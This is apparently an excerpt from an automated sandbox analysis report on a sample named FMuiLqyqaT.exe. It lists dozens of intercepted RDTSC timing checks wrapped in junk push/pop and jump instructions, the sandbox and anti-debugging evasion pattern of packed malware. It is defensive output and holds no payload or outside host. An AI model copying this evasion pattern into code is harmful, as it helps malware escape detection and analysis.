Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A77A35 second address: A77A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jo 00007F4E5C73ECB2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A78316 second address: A7831B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A7831B second address: A7834A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jno 00007F4E5C73ECA6h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4E5C73ECAEh 0x00000015 jmp 00007F4E5C73ECB1h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A78A32 second address: A78A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E5D020B4Dh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A78A47 second address: A78A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F4E5C73ECA6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A767D7 second address: A767FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F4E5D020B5Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A767FA second address: A76851 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4E5C73ECB2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c jmp 00007F4E5C73ECAAh 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 pushad 0x00000015 jmp 00007F4E5C73ECB2h 0x0000001a jmp 00007F4E5C73ECAFh 0x0000001f jmp 00007F4E5C73ECACh 0x00000024 popad 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A7EC88 second address: A7ECC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E5D020B55h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F4E5D020B46h 0x00000012 jmp 00007F4E5D020B59h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A7EE31 second address: A7EE54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4E5C73ECA6h 0x0000000a jmp 00007F4E5C73ECB4h 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A7EE54 second address: A7EE58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A7EE58 second address: A7EE61 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A7EFA7 second address: A7EFAD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A7EFAD second address: A7EFC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E5C73ECB3h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A7EFC6 second address: A7EFCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A7EFCA second address: A7EFD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A8B41D second address: A8B424 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A8ADF7 second address: A8AE08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F4E5C73ECACh 0x0000000b jng 00007F4E5C73ECA6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A8E33F second address: A8E389 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Dh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f jmp 00007F4E5D020B58h 0x00000014 pop edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F4E5D020B54h 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A8E389 second address: A8E38F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A8E38F second address: A8E395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A8E395 second address: A8E399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A8E1BA second address: A8E1C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A8E1C0 second address: A8E1ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b jnl 00007F4E5C73ECA8h 0x00000011 popad 0x00000012 push edx 0x00000013 push ebx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F4E5C73ECACh 0x0000001e jne 00007F4E5C73ECA6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A91DCE second address: A91DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A91DD2 second address: A91DFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F4E5C73ECA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnc 00007F4E5C73ECACh 0x00000013 jno 00007F4E5C73ECACh 0x00000019 push eax 0x0000001a push edx 0x0000001b jnc 00007F4E5C73ECA6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A91922 second address: A91927 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A974C3 second address: A974F4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F4E5C73ECB0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F4E5C73ECB5h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A974F4 second address: A97507 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A9A57C second address: A9A598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4E5C73ECB3h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A9E6FF second address: A9E703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: A9E703 second address: A9E723 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F4E5C73ECA8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AA99D8 second address: AA99E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AA99E0 second address: AA99E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AA99E4 second address: AA99EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AA99EA second address: AA9A31 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F4E5C73ECACh 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b jnp 00007F4E5C73ECAEh 0x00000011 pushad 0x00000012 popad 0x00000013 ja 00007F4E5C73ECA6h 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push edx 0x0000001c push edx 0x0000001d jmp 00007F4E5C73ECAFh 0x00000022 jmp 00007F4E5C73ECB0h 0x00000027 pop edx 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AA9B95 second address: AA9B99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AA9B99 second address: AA9BA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AA9BA4 second address: AA9BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AA9BA9 second address: AA9BD5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4E5C73ECAAh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F4E5C73ECB1h 0x0000001a je 00007F4E5C73ECA6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AA9BD5 second address: AA9BDB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AA9D29 second address: AA9D4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F4E5C73ECB6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007F4E5C73ECA6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AA9EA0 second address: AA9EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 jng 00007F4E5D020B46h 0x0000000e popad 0x0000000f jc 00007F4E5D020B4Eh 0x00000015 jnc 00007F4E5D020B46h 0x0000001b push edi 0x0000001c pop edi 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AA9EC2 second address: AA9EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AAA15D second address: AAA177 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B56h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AADABA second address: AADAC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AE5479 second address: AE5480 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AEC280 second address: AEC293 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AFDC2C second address: AFDC32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AFDC32 second address: AFDC37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AFF6D1 second address: AFF6D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AFF4D5 second address: AFF4D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AFF4D9 second address: AFF4E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F4E5D020B46h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AFF4E7 second address: AFF4EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AFF4EB second address: AFF4F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: AFF4F1 second address: AFF51A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4E5C73ECB0h 0x0000000b popad 0x0000000c pushad 0x0000000d jns 00007F4E5C73ECACh 0x00000013 push esi 0x00000014 push eax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: B02503 second address: B0252D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B51h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F4E5D020B53h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: B0252D second address: B0257D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4E5C73ECACh 0x00000008 jne 00007F4E5C73ECA8h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007F4E5C73ECB2h 0x00000016 jnp 00007F4E5C73ECB2h 0x0000001c pushad 0x0000001d popad 0x0000001e jmp 00007F4E5C73ECAAh 0x00000023 jno 00007F4E5C73ECAEh 0x00000029 pushad 0x0000002a push edi 0x0000002b pop edi 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: B02077 second address: B02088 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jl 00007F4E5D020B46h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: B021D1 second address: B021E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F4E5C73ECAEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: BC6F69 second address: BC6F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E5D020B51h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: BC766A second address: BC767F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4E5C73ECA6h 0x0000000a jno 00007F4E5C73ECA6h 0x00000010 popad 0x00000011 push esi 0x00000012 push esi 0x00000013 pop esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: BC767F second address: BC7685 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: BC7685 second address: BC7695 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F4E5C73ECA6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: BC7801 second address: BC7805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: BC7805 second address: BC7809 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: BC7809 second address: BC780F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: BCC051 second address: BCC063 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4E5C73ECA6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: BCD9F5 second address: BCDA08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: BCFAE9 second address: BCFAF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC00C4 second address: 6EC00C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC00C9 second address: 6EC0121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx ebx, cx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F4E5C73ECB8h 0x00000012 sub eax, 07254008h 0x00000018 jmp 00007F4E5C73ECABh 0x0000001d popfd 0x0000001e popad 0x0000001f xchg eax, ebx 0x00000020 jmp 00007F4E5C73ECB6h 0x00000025 mov ebx, dword ptr [eax+10h] 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0121 second address: 6EC0125 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0125 second address: 6EC012B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC012B second address: 6EC0171 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F4E5D020B4Eh 0x00000011 and esi, 5DAC5FF8h 0x00000017 jmp 00007F4E5D020B4Bh 0x0000001c popfd 0x0000001d push esi 0x0000001e pop eax 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov al, dl 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0171 second address: 6EC0176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC0176 second address: 6EC01AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B55h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov bh, cl 0x0000000d popad 0x0000000e mov esi, dword ptr [756006ECh] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F4E5D020B51h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC01AD second address: 6EC029C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 jmp 00007F4E5C73ECB3h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test esi, esi 0x0000000f pushad 0x00000010 call 00007F4E5C73ECB4h 0x00000015 jmp 00007F4E5C73ECB2h 0x0000001a pop eax 0x0000001b pushad 0x0000001c mov bl, ah 0x0000001e popad 0x0000001f popad 0x00000020 jne 00007F4E5C73FD21h 0x00000026 pushad 0x00000027 call 00007F4E5C73ECB5h 0x0000002c pushfd 0x0000002d jmp 00007F4E5C73ECB0h 0x00000032 xor si, CE38h 0x00000037 jmp 00007F4E5C73ECABh 0x0000003c popfd 0x0000003d pop esi 0x0000003e pushfd 0x0000003f jmp 00007F4E5C73ECB9h 0x00000044 jmp 00007F4E5C73ECABh 0x00000049 popfd 0x0000004a popad 0x0000004b xchg eax, edi 0x0000004c pushad 0x0000004d pushfd 0x0000004e jmp 00007F4E5C73ECB4h 0x00000053 add cl, FFFFFFF8h 0x00000056 jmp 00007F4E5C73ECABh 0x0000005b popfd 0x0000005c movzx esi, bx 0x0000005f popad 0x00000060 push eax 0x00000061 pushad 0x00000062 mov edi, eax 0x00000064 popad 0x00000065 xchg eax, edi 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a jmp 00007F4E5C73ECABh 0x0000006f rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC029C second address: 6EC02B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC02B9 second address: 6EC02DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call dword ptr [755D0B60h] 0x0000000f mov eax, 7696E5E0h 0x00000014 ret 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC02DA second address: 6EC02E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 6EC02E0 second address: 6EC03B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, ecx 0x00000005 push eax 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push 00000044h 0x0000000c jmp 00007F4E5C73ECB6h 0x00000011 pop edi 0x00000012 pushad 0x00000013 mov edi, ecx 0x00000015 pushfd 0x00000016 jmp 00007F4E5C73ECAAh 0x0000001b sub eax, 789B73A8h 0x00000021 jmp 00007F4E5C73ECABh 0x00000026 popfd 0x00000027 popad 0x00000028 xchg eax, edi 0x00000029 jmp 00007F4E5C73ECB6h 0x0000002e push eax 0x0000002f pushad 0x00000030 jmp 00007F4E5C73ECB1h 0x00000035 mov ecx, 0F0E8477h 0x0000003a popad 0x0000003b xchg eax, edi 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007F4E5C73ECB8h 0x00000043 and cx, 5B98h 0x00000048 jmp 00007F4E5C73ECABh 0x0000004d 